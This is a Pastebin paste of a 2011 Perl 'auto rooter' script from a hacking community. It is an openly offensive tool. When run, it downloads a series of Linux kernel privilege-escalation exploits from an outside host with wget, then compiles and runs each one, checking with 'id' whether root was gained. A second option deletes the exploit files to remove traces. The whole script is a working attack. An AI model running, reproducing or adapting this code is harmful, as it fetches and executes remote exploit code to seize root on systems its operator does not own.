Advertisement
Guest User

2011 Linux Auto r00t3r Beta version 1.0

a guest
Jul 20th, 2011
948
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.33 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Coded By CrosS ( 2011 Linux Auto r00t3r )
  3. print "###########################################################\n";
  4. print "#             (Beta 1.0 )   Auto rooter by CrosS           #\n";
  5. print "#  Usage :                                                 #\n";
  6. print "#    perl $0 root    => To root            #\n";
  7. print "#    perl $0 del     => Delete Exploit     #\n";
  8. print "#                                                          #\n";
  9. print "#       as R00TW0RM - Private Community is back            #\n";
  10. print "#                  so Releasing 2011 auto rooter =)        #\n";
  11. print "#   in case of error mailto: mr.0x0day[AT]live.com         #\n";
  12. print "#                                                          #\n";
  13. print "#        Thanks to: r0073r and L0rd CrusAd3r               #\n";
  14. print "#              http://www.r00tw0rm.com/forum               #\n";
  15. print "###########################################################\n\n\n";
  16.  
  17.                                
  18. if ($ARGV[0] =~ "root" )
  19. {
  20. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.18.c");
  21. system("gcc 2.6.18.c -o 2.6.18");
  22. system("chmod 777 2.6.18");
  23. system("./2.6.18");
  24. system("id");
  25. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.33.c");
  26. system("gcc 2.6.33.c -o 2.6.33");
  27. system("chmod 777 2.6.33");
  28. system("./2.6.33");
  29. system("id");
  30. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.34.c");
  31. system("gcc -w 2.6.34.c -o 2.6.34");
  32. system("sudo setcap cap_sys_admin+ep 2.6.34");
  33. system("./2.6.34");
  34. system("id");
  35. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37-rc2.c");
  36. system("gcc 2.6.37-rc2.c -o 2.6.37-rc2");
  37. system("chmod 777 2.6.37-rc2");
  38. system("./2.6.37-rc2");
  39. system("id");
  40. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37.c");
  41. system("gcc 2.6.37.c -o 2.6.37");
  42. system("chmod 777 2.6.37");
  43. system("./2.6.37");
  44. system("id");
  45. system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.43.2.c");
  46. system("gcc -w 2.6.43.2.c -o 2.6.43.2");
  47. system("sudo setcap cap_sys_admin+ep 2.6.43.2");
  48. system("chmod 777 2.6.43.2");
  49. system("./2.6.43.2");
  50. system("id");
  51. system("wget http://www.r00tw0rm.com/2o11Expl01t/3.0.c");
  52. system("gcc 3.0.c -o 3.0");
  53. system("chmod 777 3.0");
  54. system("./3.0");
  55. system("id");
  56. }
  57. if ($ARGV[0] =~ "del" )
  58. {
  59. print "All Exploit deleting ...\n";
  60. system("rm 2.6*;rm -rf 2.6*;rm 3.0*;rm -rf 3.0*");
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement